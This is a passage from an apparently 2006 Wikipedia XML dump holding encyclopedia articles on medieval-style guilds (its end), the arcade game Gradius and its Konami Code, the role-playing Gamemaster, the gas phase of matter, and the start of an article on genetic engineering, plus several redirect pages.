The [[free software]] community has from time to time explored a guild-like structure to unite against competition from [[Microsoft]], e.g. [[Advogato]] assigns journeyer and master ranks to those committing to work only or mostly on free software.  [[Debian]] also publishes a list of what constitutes [[free software]].

In the [[City of London]], the ancient guilds survive as [[Livery Company|Livery Companies]], most of which play a ceremonial role.

In [[MMORPG|online computer games]] players form groups called [[Player guild]]s who perform some of the functions of ancient guilds.  They organize group activities, regulate member behavior, exclude non-conforming individuals, and react as a group when member safety or some aspect of guild life is threatened.  In games where fictional &quot;building&quot; is possible they may cooperate on projects in their online world.  The practice was taken from the Guilds in the quasi-medieval settings of the [[role-playing game]] [[Dungeons and Dragons]].  The first computer implementation was in the ground-breaking [[MUD]] [[Avalon, the Legend Lives|Avalon]]. The first graphical online RPG to provide guilds was ''[[Neverwinter Nights#History|Neverwinter Nights]]'', which ran from [[1991]] to [[1997]] on [[AOL]].

==References==
* Dolven, Arne S.: ''Vocational Education in Europe'' in Dolven, Arne S. and Gunnar Pedersen (eds): Fagopplaeringsboka 2004, Oslo: Kommuneforlaget 2004 (in Norwegian)
* Eggerer, Elmar W.: ''Sworn Brethren and Sistren — Britische Gilden und Zünfte von der normannischen Eroberung bis 1603'', München 1993 (in German)
* Söderlund, Ernst: ''Den svenska arbetarklassens historia — Hantverkarna II frihetstiden och den gustavianska tiden'' Stockholm 1949 (in [[Swedish language|Swedish]])
* Rouche, Michel, &quot;Private life conquers state and society,&quot; in ''A History of Private Life'' vol I, Paul Veyne, editor, Harvard University Press 1987 ISBN 0-674-39974-9
* [http://www.takver.com/history/benefit/ctormys.htm Craft, Trade or Mystery: Part One — Britain from Gothic Cathedrals to the Tolpuddle Conspirators] By Dr Bob James (revised 2002)

== External links ==
* [http://eh.net/encyclopedia/?article=richardson.guilds Medieval guilds] (EH.Net Encyclopedia of Economic History)
* [http://www.public.iastate.edu/~gbetcher/373/guilds.htm Medieval guilds] (Medieval guilds)


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[[Category:Economic history]]
[[Category:Labor]]

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        <id>7110</id>
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      <comment>#REDIRECT [[Googol]]</comment>
      <text xml:space="preserve">#REDIRECT [[Googol]]</text>
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    <title>Gas Laws</title>
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      <timestamp>2002-12-26T14:18:48Z</timestamp>
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        <id>83</id>
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      <comment>merge &amp; #REDIRECT [[Gas laws]]</comment>
      <text xml:space="preserve">#REDIRECT [[Gas laws]]</text>
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      <minor />
      <comment>/* Weapon system */ formatting</comment>
      <text xml:space="preserve">{{Infobox Arcade Game| title = Gradius
|image = [[Image:gradius_01.png|Gradius title screen]]
|developer = [[Konami]]
|publisher = [[Konami]]
|designer = 
|engine = 
|release = [[1985]]
|genre = [[Scrolling shooter]]
|modes = [[Single player]], [[multiplayer]]
|cabinet = Standard
|monitor = [[Raster graphics|Raster]], standard resolution (Used: 256 x 224)&lt;br /&gt;horizontal orientation
|arcade system = [[Konami GX400]]
|ports = [[MSX]], [[Nintendo Entertainment System|NES]], [[PC Engine]], [[Commodore 64]], [[X68000]], [[NEC PC-8801]], [[Sharp X1]], [[PlayStation]], [[Sega Saturn]], [[PlayStation Portable]], [[Microsoft Windows]]
|media = 
|input = 8-way [[joystick]], 3 buttons
}}
'''''Gradius''''' ([[Europe|EU]]:'''Nemesis''') is a [[scrolling shooter|horizontally-scrolling]] [[shoot 'em up]] [[arcade game]] developed by [[Konami]] in [[1985]]. It is the first game in the long-running and popular [[Gradius series|''Gradius'' series]]. ''Gradius'' has the distinction of popularizing a weapon selection bar, based upon collecting power-ups to 'purchase' additional weapons. The game was ported to many systems, most notably the [[Nintendo Entertainment System]] and the Japanese [[MSX]] computer. ''Gradius'' is considered a highly influential game and has set the foundation for many other horizontal shooters for years to come {{citation needed}}&lt;!-- need a citation for the popularity/weapon selection first claim/influence on the further shooters --&gt;.

==Description==
The player controls the trans-dimensional [[spaceship]] [[Vic Viper]], and must battle waves of enemies through various different environments. Released under the title ''Nemesis'' in some markets, the name ''Gradius'' may be an [[Engrish]] mistranslation of [[Gladius]], [[Latin]] for &quot;sword.&quot;

==Gameplay==
===Weapon system===
When [[gameplay]] begins, the Vic Viper is relatively slow and has only a weak gun. This level of capability is generally insufficient for engaging enemies, but the Vic Viper can gain greater capabilities by collecting and using [[power-up]] items.

While most arcade games utilize distinct power up-items that each correspond to a specific effect on the [[player character]], ''Gradius'' has a single power-up item. The effect of this power-up item is to advance the currently selected item in a power-up menu that appears at the bottom of the screen. When the desired power-up is highlighted, the player can obtain it by pressing the power-up button, returning the menu to its initial state in which no power-up is highlighted.

[[Image:gradiusselectionbar.png|center|Gradius selection bar]]

* '''Speed Up''' &amp;ndash; This power up increases the speed of the Vic Viper's movement; usually needed at the beginning of the game or when restarting an area after the Vic Viper has been destroyed, because the initial speed of the Vic Viper is much too slow to comfortably avoid enemy attacks. This power up may be triggered multiple times to achieve greater speed, but there is a danger in increasing the speed too much, resulting in a lack of precise control needed to avoid collision with terrain or enemy characters.

* '''Missile''' &amp;ndash; This power up adds a secondary projectile weapon, which is fired by a separate button. The weapon is a missile that fires downward and to the right, traveling downhill along the ground.

* '''Double''' &amp;ndash; This power up adds a second projectile weapon identical in power and firing rate to the standard gun. This second gun fires at a 45-degree angle up and to the right.

* '''Laser''' &amp;ndash; This power up changes the standard gun into a [[laser]] weapon that fires to the right. The laser weapon does substantially more damage than the standard gun, and can be controlled to a certain extent while it is being fired by moving the Vic Viper vertically; this can be used to quickly destroy a group of enemies.

* '''Option''' &amp;ndash; Options are glowing elliptical entities that mimic the movement and attacks of the Vic Viper, resulting in greatly increased attack capability. Furthermore, Options are invulnerable, making them additionally useful in certain situations if you need to shoot at something right behind a barrier. All attack power ups possessed by Vic Viper are also possessed by each Option.

* '''? (Shield)''' &amp;ndash; This power-up adds a projectile-blocking shield to the front of the Vic Viper. The shield diminishes after a number of absorbed projectiles.

* '''! (Mega Crush)''' &amp;ndash; This power-up comes in the form of a blueish version of the Power Capsule used to power up Vic Viper. Upon picking up one of these blue capsules, all onscreen enemies are immediately destroyed.

===Levels and bosses===
{{sect-stub}}
*'''Stage 1''': Volcano
*'''Stage 2''': Stone Henge
*'''Stage 3''': Moai
*'''Stage 4''': Invert Volcano
*'''Stage 5''': Tentacle
*'''Stage 6''': Cell
*'''Stage 7''': Base

===Konami Code===
Home console and portable versions of ''Gradius'' spawned the now-legendary [[Konami Code]], considered by some to be one of the defining elements of ''Gradius''. The code (traditionally Up, Up, Down, Down, Left, Right, Left, Right, B, A; variants also exist), when entered while the game is paused, grants the player most of the available power ups. While this is essentially a cheat code, the player is only allowed a limited number of uses, suggesting that this is meant only as a limited adjustment of the difficulty. In most cases, the limit starts at one use and an additional use is granted for each completed level. An interesting exception to this rule is ''[[Gradius III]]'' for the [[Super Nintendo Entertainment System|Super NES/Super Famicom]], where entering the original [[Nintendo Entertainment System|NES]] version of the code destroys you, rather than powering you up. Substituting L and R for Left and Right will grant the proper effect, however. While this is a well-known feature among ''Gradius'' fans, many video game enthusiasts more closely associate the Konami Code with the NES version of ''[[Contra (arcade game)|Contra]]'', a later Konami game in which the code can be entered at the title screen to grant the player 30 lives.

==Vs. Gradius==
As with other early NES titles, ''Gradius'' was also converted for the [[Nintendo Vs. Series]] arcade platform. It is identical to the NES version, but includes no cheat codes, but does allow the player to continue indefinetely.

==Trivia==
*The premature death of the final [[Boss (video games)|boss]] is assumed to be the result of exposure to foreign bacteria, like in the classic novel ''[[The War of the Worlds (novel)|The War of the Worlds]]''.
* Some Konami arcade games including ''Gradius'', ''[[Parodius Da!]]'' and ''[[Salamander (arcade game)|Salamander]]'' have the default high score set at 57300. Where the first three digits, '''573''', refers to Ko-Na-Mi (コナミ) [[kana]] letters, a play of word for 'Konami'.
* The first level of ''Gradius'' is available as a mini-game in the [[Super Nintendo Entertainment System|Super NES]] game ''[[Legend of the Mystical Ninja]]''.
* In the NES hockey game ''[[Blades of Steel]]'', one of the intermission screens is a playable sequence which recreates the fight against the first boss.

==Screenshot gallery==
&lt;gallery&gt;
Image:Gradius_02.png|Note how options duplicate firepower
Image:gradius.png
Image:Gradius_04.png|A level featuring [[Moai]]
Image:Gradius_03.png|The undefended last boss
&lt;/gallery&gt;

==Packaging artwork==
&lt;gallery&gt;
Image:Gradius-msxbox.jpg|''Gradius''&lt;br /&gt;MSX&lt;br /&gt;Japan, 1986
Image:gradius_pcecover.jpg|''Gradius''&lt;br /&gt;PC Engine&lt;br /&gt;Japan, 1991
&lt;/gallery&gt;

==Legacy==
{{sect-stub}}

==References==
*[http://www.gamestone.co.uk/gradius/ GameStone - Gradius Home World]
*[http://www.classicgaming.com/gradius/ Gradius Base, an extensive resource on all Gradius games]
*[http://www010.upp.so-net.ne.jp/muu-word/acgradius.html Japanese page on Gradius]

{{Gradius series}}

[[Category:1985 arcade games]]
[[Category:1986 computer and video games]]
[[Category:Arcade games]]
[[Category:Commodore 64 games]]
[[Category:Gradius]]
[[Category:Mobile phone games]]
[[Category:NES games]]
[[Category:Nintendo Vs. Series games]]
[[Category:PlayChoice-10 games]]
[[Category:PlayStation games]]
[[Category:Sega Saturn games]]
[[Category:TurboGrafx 16 games]]

[[de:Gradius]]
[[ja:グラディウス (ゲーム)]]
[[sv:Gradius]]</text>
    </revision>
  </page>
  <page>
    <title>Gamemaster</title>
    <id>12373</id>
    <revision>
      <id>41421147</id>
      <timestamp>2006-02-27T05:12:06Z</timestamp>
      <contributor>
        <username>Furrykef</username>
        <id>17163</id>
      </contributor>
      <minor />
      <comment>/* An example of a GM's duties, set in a fantasy universe */</comment>
      <text xml:space="preserve">:''This article refers to the [[role-playing game]] term. For the series of [[board game]]s, see [[Gamemaster (board game series)]].''

A '''Gamemaster''' or '''Game Master''' (often abbreviated as '''GM''') is a player in a multiplayer [[game]] who acts as organizer, arbitrator, and officiant in rules situations.

The term ''gamemaster'' and the role associated with it originated in the [[play-by-mail game|postal gaming]] hobby. In typical play-by-mail games, players control armies or civilizations and mail their chosen actions to the GM. The GM then mails the updated game state to all players on a regular basis.

Today, ''gamemaster'' is nearly always associated with role-playing games. In a [[role-playing game]] the '''Gamemaster's''' purpose is to weave the other participants' [[player-character]] stories together, control the non-player aspects of the game, and create environments in which the players can interact.

==Roles of Game Master in popular games==
Each gaming system has its own name for the role of the gamemaster, such as &quot;[[judge]]&quot;, &quot;[[narrator]]&quot;, &quot;[[referee]]&quot;, &quot;[[Games Operation Designate]]&quot; ('''G'''.'''O'''.'''D'''.) or &quot;[[storyteller]]&quot;, and these terms not only describe the role of the gamemaster in general but also help define how the game is intended to be run. For example, the [[Storyteller System]] used in [[White Wolf, Inc.|White Wolf Game Studio]]'s [[storytelling game]]s calls its GM the &quot;storyteller&quot;, while the [[rule]]s- and [[Marvel Universe|setting]]-focused [[Marvel Super Heroes Role-Playing Game]] calls its GM the &quot;judge&quot;.  The cartoon inspired roleplaying game [[Toon (role-playing game)|Toon]] calls its GM the &quot;animator.&quot; A few games apply system- or setting-specific flavorful names to the GM, such as the [[Hollyhock God]] ([[Nobilis]]), or the oldest &quot;[[Dungeon Master]]&quot; (or &quot;DM&quot;) in ''[[Dungeons &amp; Dragons]]''.

Being the GM requires extra commitment and responsibility than simply playing the game.  While the basic roles of Game Masters - rules help, moderation, and storytelling - are the same across any platform, differing rule sets make the specific duties of the GM unique to that system.

==Tabletop role-playing==
In a [[Tabletop role-playing game]], the gamemaster prepares the game session for the players and the characters they play (known as [[player character]]s or PCs). The GM describes the events and decides on the outcomes of players' decisions. The gamemaster also keeps track of [[non-player character]]s (NPCs) and [[random encounter]]s, as well as of the general state of the game world. 

The game session (or &quot;[[adventure (role-playing games)|adventure]]&quot;) can be metaphorically described as a [[play]], in which the players are the lead [[actor]]s, and the GM provides the [[stage]], the [[scenery]], the basic [[plot]] on which the [[improvisation]]al script is built, as well as all the [[bit part]]s and [[supporting character]]s. 

GMs may choose to run a game based on a [[campaign setting|published game world]], with the maps and history already in place; such game worlds often have pre-written adventures.  Alternately, the GM may [[Conworld|build their own world]] and script their own [[Adventure (role-playing games)|adventures]].

GMs may run their game as frequently or infrequently as they wish; some gamers meet once a week or once a month, others only two or three times a year. A GM can easily run one-shot, unconnected adventures each time their gaming group convenes; in this case there is no connected plot, and the players can choose to play different characters in each session.  However, a devoted gamemaster can string many such adventures into a ''[[campaign setting|campaign]]'', in which the same heroes fight many different monsters and a few recurring villains, gaining treasure, reputation and power as they go.  Such campaigns can last for years, even decades, earning a great deal of loyalty from their players, even as some players join or leave the game along the way.

A good gamemaster draws the players into the adventure, making it enjoyable for everyone. Good gamemasters have quick minds, sharp wits, and rich imaginations.  Gamemasters must also maintain [[game balance]]: hideously overpowered monsters ''or'' players are no fun.

Just as there are good GMs, bad GMs also exist. One of these is the rare but well-known type known as the &quot;killer GM&quot;.  This type of gamemaster enjoys killing the PCs, meaning that the imaginary character &quot;dies&quot; in the same way a character in a novel might -- they cannot go forward in the story, short of in-game mechanics like magical resurrection.  The GM might get satisfaction out of creating monsters with very powerful game statistics, or designing fiendish traps that are virtually impossible for the characters to escape, but such a GM is likely to have trouble keeping players coming back for more adventures. 

On the other end of the spectrum, there are GMs who try to fulfill all of the desires of their players by giving the PCs an easy time of acquiring experience and treasure.  These easy GMs are often called &quot;Monty Haul&quot; GMs, a reference to the game show host [[Monty Hall]].

Long-time role-players joke about their experiences with bad GMs (for example, see this list of [http://www.duke.edu/web/DRAGO/humor/GMList.html &quot;The 28 Types of Game Masters&quot;]).

===An example of a GM's duties, set in a fantasy universe===
Days or weeks (or, in a worst case scenario, minutes) before a game session, the GM decides on the plot of the [[Adventure (RPG)|adventure]] which the players are to face.  

Choosing a monster that will be tough but not deadly for the current power level of the characters played by the gamers in her group, she decides that the heroes are going to rescue a young prince kidnapped by an ogre.  She makes a map of the ogre's lair, makes notes about the ogre's game statistics, and decides whether there are any other challenges (such as terrain or weather) that the party must face.  She creates a memorable NPC, the prince's hideous and hysterical nanny.  

On game day, the players gather around a table at the GM's house.  The GM reminds the players of the game's setting and picks up the story where they left off, with the characters travelling on the road after their last adventure.  She describes the woebegone nanny's appearance as she runs up to the PCs on the road and begs them to help save the prince.

As she knows that the PCs consider themselves to be good and noble heroes, the GM can expect them to agree to aid the nanny.  Since the trail will be cold before they can return her to town, they must bring her along as they try to follow the tracks of the ogre.  The GM asks them to use dice to test whether they succeed at using their tracking skill.  

The GM also uses whatever acting abilities she possesses to &quot;act out&quot; the character of the nanny, wailing and fearful and clumsy, making sure that the heroes don't get the advantage of surprise.  This also leads the PCs to interact with the NPC, &quot;acting out&quot; their own parts as they try to convince her to be quiet.  This helps to create a deeper role-playing experience, where the player, instead of saying, &quot;My character tells her to be quiet,&quot; or even &quot;I tell her to be quiet,&quot; is led into role-playing with the GM:

:Player (as Hero):  &quot;Please, please ma'am, you have to settle down, we don't want the monster to come after you too, do we?&quot;

:GM (as Nanny): &quot;Oh, but my boy, my POOR BOY!  That precious little MAN, he's going to be EATEN UP!&quot;

:Player (as Hero):  &quot;''Please'', lady, you've got to be quiet!&quot;

In a straightfoward adventure, the tracks lead to an abandoned watchtower, and the fighters in the party engage in combat with the waiting ogre -- again decided by dice-rolling supervised by the GM.  A good GM will ensure that this part of the game is kept quick and lively, with decisive rulings, fast-paced game turns, and energetic descriptions of the ogre's actions and the results of the players' decisions.

Meanwhile, the nimble burglar in the party climbs up the back of the tower, frees the prince from his ropes, and lowers him to the ground -- again, the GM determines how difficult these actions are and requires dice-based skill checks of some kind.

If she wanted a less straightforward plot, the GM might decide that there ''was'' no prince -- that the nanny was merely a human or shapechanged accomplice of the ogre, sent to lure unwary adventurers off the road so they could be robbed, killed, and eaten.  In this case, the GM would be challenging the ability of the players to see through subterfuge and solve puzzles.

Either way, if the GM has chosen the level of difficulty well, the characters will have a good test of their abilities and wits. They will take a few injuries and be unsure of success, but with some good planning, teamwork, and bravery, will most likely overcome whatever obstacle the GM has placed in their path.  

At the end of the session, the GM sometimes offers rewards: the characters may discover the ogre's treasure hoard in the tower.  Based on how well they completed the adventure, the GM may give the players various types of &quot;[[experience point|points]]&quot;, which vary in meaning depending on the game system.  Often, they can be used to improve the character before the next adventure, preparing them to face even tougher foes.

==Gamemasters in online games==
A gamemaster's duties in an [[online game]] are unlike those of a traditional gamemaster in a [[tabletop role-playing game]].  A gamemaster in such a game acts less like a traditional gamemaster than an [[System administrator|administrator]] in an [[online community]].  A GM in such a game is either an experienced volunteer player or an employee who enforces the game rules, banishing spammers, [[Player versus player#Player killing|player killer]]s and [[cheating|cheaters]].  For their task they use special characters with special abilities like teleporting to players, summoning items and browsing the player logs to help them in their moderating tasks.  Gamemasters in [[MUD]]s are often called &quot;wizards&quot;.  Gamemasters in [[MMORPG]]s are usually employees of the game's host or developers of the game themselves. 

The now defunct [[America Online]] Online Gaming Forum used to use volunteers selected by application from its user base. These people were simply referred to as OGFs by other members, and their screennames were indicative of their position (i.e. OGF Moose, etc.). While membership in the Online Gaming Forum had only one real requirement (that is, be a member of AOL), OGFs were given powers quite similar to AOL &quot;Guides&quot; and could call them in at will to TOS and/or ban users as they saw appropriate.

Note that a few games, notably ''[[Neverwinter Nights]]'' and ''[[Vampire: The Masquerade - Redemption]]'', are [[computer game]] adaptations of tabletop RPGs that are played online with one player acting as a traditional gamemaster.

===The Allerian Empire===
[[The Allerian Empire]], a [[message board role-playing game]], has a Game Master Council.  The GMC is a quorum of administrators each responsible for a certain geographic region of the game, usually a single city and the surrounding countryside. It is the GM’s calling to creativity to draw players to their cities by creating a fully developed 'personality' for the city. To aid in this assignment, GMs are given a tool box of resources: The ability to develop and control non-player characters, or [[non-player character| NPC]]s, and other non-player aspects of the game including locations, items, and backdrops; a codex of their assigned city which includes the political information ([[tax]] rates, [[census]] data, [[economics|economic]] statistics, etc.), write-ups on major non-player characters which dwell in their locale, and a general history of the area as told by the GMs of the region before them; and, should they choose, a team of Assistant Game Masters (AGMs) with limited ability to act on their GM’s behalf. Also, the GMs police their forum for inappropriate activity, minor rules violation, and have the ability to control elements of their section of [[Bulletin board system| bulletin board]].

Other types of Game Master exist and have formally existed in The Allerian Empire. Provincial Game Masters (PGMs) were once assigned to capitol cities within the game and oversaw not only that city but also the governmental interaction between cities in their province. Senior Game Masters (SGMs) were once the website administrators with the ability to promote player accounts, create forums, and discipline players which misbehaved. When the company that runs the game wanted more control over the administrative aspects of the game, the SGM position was dissolved in lieu of a Game Director (GD) position with members confirmed by the President of the company.

[[Category:Computer and video game culture]]
[[Category:Role-playing game terms]]

[[eo:Ludmajstro]]
[[fr:Meneur de jeu]]
[[ja:ゲームマスター]]
[[no:Spilleder (RPG)]]
[[pl:Mistrz gry]]
[[pt:Mestre de jogo]]
[[ru:Мастер (ролевые игры)]]
[[zh:遊戲主持者]]</text>
    </revision>
  </page>
  <page>
    <title>GUI/History</title>
    <id>12376</id>
    <revision>
      <id>15910068</id>
      <timestamp>2002-08-22T18:43:49Z</timestamp>
      <contributor>
        <username>Brion VIBBER</username>
        <id>51</id>
      </contributor>
      <minor />
      <comment>Removed extraneous text</comment>
      <text xml:space="preserve">#REDIRECT [[History_of_the_graphical_user_interface]]</text>
    </revision>
  </page>
  <page>
    <title>Gas</title>
    <id>12377</id>
    <revision>
      <id>41887526</id>
      <timestamp>2006-03-02T10:51:50Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/193.82.98.8|193.82.98.8]] ([[User talk:193.82.98.8|talk]]) to last version by Krash</comment>
      <text xml:space="preserve">{{otheruses}}

A '''gas''' is one of the four main [[Phase (matter)|phases of matter]] (after [[solid]] and [[liquid]], and followed by [[Plasma (physics)|plasma]]), that subsequently appear as a solid material is subjected to increasingly higher temperatures. Thus, as energy in the form of [[heat]] is added, a solid (e.g. ice) will first melt to become a liquid (e.g. water), which will then [[boiling|boil]] or [[evaporation|evaporate]] to become a gas (e.g. water vapor). In some circumstances, a solid (e.g. &quot;[[dry ice]]&quot;) can directly turn into a gas: this is called [[sublimation]]. If the gas is further heated, its atoms or molecules can become (wholly or partially) ionized, turning the  gas into a plasma. 

In the gas phase, the [[atoms]] or [[molecules]] constituting the matter basically move independently, with no forces keeping them together or pushing them apart. Their only [[interaction]]s are rare and [[random]] collisions. The particles move in random directions, at high speeds, whose range is dependent on the temperature and defined by the [[Maxwell-Boltzmann distribution]]. Therefore, the gas phase is a completely [[Randomness|disordered]] state. Following the [[second law of thermodynamics]], gas particles will immediately [[diffuse]] to homogeneously fill any shape or volume of space that is made available to them. 

The thermodynamic state of a gas is characterized by its [[volume]], its [[temperature]], which is determined by the average velocity or kinetic energy of the molecules, and its [[pressure]], which is determined by the average velocity and density or number of molecules. These variables are related by the fundamental [[gas laws]], which state that the pressure in an [[ideal gas]] is proportional to its temperature and number of molecules, but inversely proportional to its volume.

Like [[liquid]]s and [[Plasma (physics)|plasmas]], gases are [[fluid]]s: they have the ability to flow and do not tend to return to their former configuration after deformation, although they do have [[viscosity]].  Unlike liquids, however, unconstrained gases do not occupy a fixed volume, but expand to fill whatever space they can occupy.  The [[kinetic energy]] per molecule in a gas is the second greatest of the states of matter (after [[Plasma physics|plasma]]). Because of this high kinetic energy, gas atoms and [[molecules]] tend to bounce off of any containing surface and off one another, the more powerfully as the kinetic energy is increased. A common misconception is that the collisions of the molecules with each other is essential to explain gas [[pressure]], but in fact their random velocities are sufficient to define that quantity.  Mutual collisions are important only for establishing the [[Maxwell-Boltzmann distribution]]. 

Gas particles are normally well separated, as opposed to liquid particles, which are in contact. A material particle (say a dust mote) in a gas moves in [[Brownian Motion]]. Since it is at the limit of (or beyond) current technology to observe individual gas particles (atoms or molecules), only theoretical calculations give suggestions as to how they move, but their motion is different from Brownian Motion. The reason is that Brownian Motion involves a smooth drag due to the frictional force of many gas molecules, punctuated by violent collisions of an individual (or several) gas molecule(s) with the particle. The particle (generally consisting of millions or billions of atoms) thus moves in a jagged course, yet not so jagged as we would expect to find if we could examine an individual gas molecule.

== Etymology ==

The word &quot;gas&quot; was apparently coined in the early 17th century by the Belgian chemist [[Jan Baptist van Helmont]], as a re-spelling of his pronunciation of the Greek word [[chaos]].

== See also ==
* [[Gas laws]]
* [[Ideal gas]]
* [[Kinetic theory of gases]]
* [[Town Gas]]
* [[Natural Gas]]
* [[List of phases of matter]]
* [[Cooling curve]]

[[Category:Dutch loanwords]]
[[Category:Gases|*]]

{{Phase of matter}}

[[ar:غاز]]
[[bg:Газ]]
[[ca:Gas]]
[[cs:Plyn]]
[[da:Gas]]
[[de:Gas]]
[[et:Gaas]]
[[es:Gas]]
[[eo:Gaso]]
[[fa:گاز]]
[[fr:Gaz]]
[[ko:기체]]
[[hr:Plin]]
[[io:Gaso]]
[[id:Gas]]
[[it:Gas]]
[[he:גז]]
[[lv:Gāze]]
[[lt:Dujos]]
[[hu:Gáz]]
[[mk:Гас]]
[[ms:Gas]]
[[nl:Gas]]
[[ja:気体]]
[[no:Gass]]
[[nn:Gass]]
[[pl:Gaz]]
[[pt:Gás]]
[[ru:Газ (агрегатное состояние)]]
[[simple:Gas]]
[[sk:Plyn]]
[[sl:Plin]]
[[fi:Kaasu]]
[[sv:Gas]]
[[th:แก๊ส]]
[[tr:Gaz]]
[[zh:气体]]</text>
    </revision>
  </page>
  <page>
    <title>Gaseous state</title>
    <id>12378</id>
    <revision>
      <id>15910070</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Gas]]

</text>
    </revision>
  </page>
  <page>
    <title>Gaseous phase</title>
    <id>12380</id>
    <revision>
      <id>15910071</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Gas]]

</text>
    </revision>
  </page>
  <page>
    <title>Great Lake</title>
    <id>12382</id>
    <revision>
      <id>15910073</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Great_Lakes]]


</text>
    </revision>
  </page>
  <page>
    <title>Genetic engineering</title>
    <id>12383</id>
    <revision>
      <id>42050278</id>
      <timestamp>2006-03-03T13:26:02Z</timestamp>
      <contributor>
        <ip>82.230.53.77</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Glowing tobacco plant.jpg|thumb|right|200px|An iconic image of genetic engineering; this 1986 &quot;autoluminograph&quot; of a glowing transgenic [[tobacco]] plant bearing the [[luciferase]] gene of the [[firefly]] strikingly demonstrates the power and potential of genetic manipulation.]]
'''Genetic engineering''', '''genetic modification''' ('''GM'''), and the now-deprecated '''gene splicing''' are terms for the process of manipulating [[gene]]s,usually outside the organism's normal [[Reproduction|reproductive process]]. 

It often involves the isolation, manipulation and reintroduction of [[DNA]] into [[cell (biology)|cells]] or [[model organism|model organisms]], usually to [[gene expression|express]] a [[protein]]. The aim is to introduce new characteristics such as making a crop resistant to an herbicide, introducing a novel trait, or producing a new protein or enzyme.  Examples include the production of human [[insulin]] through the use of modified bacteria, the production of [[erythropoietin]] in [[Chinese Hamster Ovary cell]]s, and the production of new types of experimental mice such as the [[Oncomouse|OncoMouse]] (cancer mouse) for research, through genetic redesign.

Since a protein is specified by a segment of DNA called a gene, future versions of that protein can be modified by changing the gene's underlying DNA. One way to do this is to isolate the piece of DNA containing the gene, precisely cut the gene out, and then reintroduce (splice) the gene into a different DNA segment. [[Daniel Nathans]] and [[Hamilton Smith]] received the [[1978]] [[Nobel Prize in physiology or medicine]] for their isolation of [[restriction enzyme|restriction endonucleases]], which are able to cut DNA at specific sites. Together with [[ligase]], which can join fragments of DNA together, restriction enzymes formed the initial basis of recombinant DNA technology.

==Terminology==
&quot;Transgenic organism&quot; is now the preferred term for genetically modified organisms with extra-genome (foreign genetic) information, as opposed to &quot;genetically engineered&quot; or &quot;genetically modified&quot; organisms (which may refer to changes made within the genome such as amplification or deletion of genes).

== Applications ==   
One of the best known applications of genetic engineering is that of the creation of [[genetically modified organism]]s (GMOs).   

There are potentially momentous [[biotechnology|biotechnological]] applications of GM, for example oral [[vaccine]]s produced naturally in fruit, at very low cost. This represents, however, a spread of genetic modification to medical purposes and opens an ethical door to other uses of the technology to directly modify human genomes.   

These effects are often not traceable back to direct causes in the [[genome]], but rather in the environment or interaction of proteins. The means by which 'genes' (in fact [[DNA]] strands that are assumed to have discrete effects) are detected and inserted are inexact, including such means as coating gold particles with DNA to be inserted and literally firing it at strands of target DNA (see [[gene gun]]), which is guaranteed to cause insertions in at least some random locations, which can on rare occasion cause unplanned characteristics.   

Similar objections apply to [[protein engineering]] and [[molecular engineering]] for use as drugs. However, a single protein or a molecule is easier to examine for '[[quality control]]' than a complete genome, and there are more limited claims made for the reliability of proteins and molecules, than for the genomes of whole organisms. While protein and molecule engineers often times acknowledge the requirement to test their products in a wide variety of environments to determine if they pose dangers to life, the position of many genetic engineers is that they do not need to do so, since the outputs of their work are 'substantially the same as' the original organism which was produced by the original genome(s).    

A radical ambition of some groups is [[human enhancement]] via genetics, eventually by [[molecular engineering]]. ''See also:'' [[transhumanism]]. 

DNA [[sequencing]] is a technique which is used to identify each base in DNA.  Although the costs of DNA sequencing has dropped dramatically, the NIH estimates it costs at least $10 million to sequence 3 billion base pairs [http://www.genome.gov/12513210] - the size of the whole [[human genome]].

=== Genetic engineering and research ===
Although there has been a tremendous revolution in the biological sciences in the past twenty years, there is still a great deal that remains to be discovered. The completion of the sequencing of the human genome, as well as the genomes of most agriculturally and scientifically important plants and animals, has increased the possibilities of genetic research immeasurably. Expedient and inexpensive access to comprehensive genetic data has become a reality, with billions of sequenced nucleotides already online and annotated.
Now that the rapid sequencing of arbitrarily large genomes has become a simple, if not trivial affair, a much greater challenge will be elucidating function of the extraordinarily complex web of interacting proteins, dubbed the proteome, that constitutes and powers all living things. Genetic engineering has become the gold standard in protein research, and major research progress has been made using a wide variety of techniques, including:

* Loss of function, such as in a [[Gene knockout|knockout]] experiment, in which an organism is engineered to lack the activity of one or more genes. This allows the experimenter to analyze the defects caused by this mutation, and can be considerably useful in unearthing the function of a gene. It is used especially frequently in [[developmental biology]]. A knockout experiment involves the creation and manipulation of a DNA construct in vitro, which, in a simple knockout, consists of a copy of the desired gene which has been slightly altered such as to cripple its function. The construct is then taken up by [[embryo]]nic [[stem cells]], where the engineered copy of the gene replaces the organism's own gene. These stem cells are injected into blastocysts, which are implanted into surrogate mothers. Another method, useful in organisms such as Drosophila (fruit fly), is to induce mutations in a large population and then screen the progeny for the desired mutation.  A similar process can be used in both plants and prokaryotes.
* Gain of function experiments, the logical counterpart of knockouts. These are sometimes performed in conjunction with knockout experiments to more finely establish the function of the desired gene. The process is much the same as that in knockout engineering, except that the construct is designed to increase the function of the gene, usually by providing extra copies of the gene or attracting more frequent transcription.
* 'Tracking' experiments, which seek to gain information about the localization and interaction of the desired protein. One way to do this is to replace the wild-type gene with a 'fusion' gene, which is a juxtaposition of the wild-type gene with a reporting element such as [[Green fluorescent protein|Green Fluorescent Protein]] (GFP) that will allow easy visualization of the products of the genetic modification. While this is a useful technique, the manipulation can destroy the function of the gene, creating secondary effects and possibly calling into question the results of the experiment. More sophisticated techniques are now in development that can track protein products without mitigating their function, such as the addition of small sequences which will serve as binding motifs to monoclonal antibodies.

== Ethics ==
Proponents of genetic engineering argue that the technology is safe, and that it is necessary in order to maintain [[food]] production that will continue to match population growth and help feed millions in [[Third World]] countries more effectively. Others argue that there is more than enough food in the world and that the problem is food distribution, not production, so people should not be forced to eat food that may carry some degree of risk.

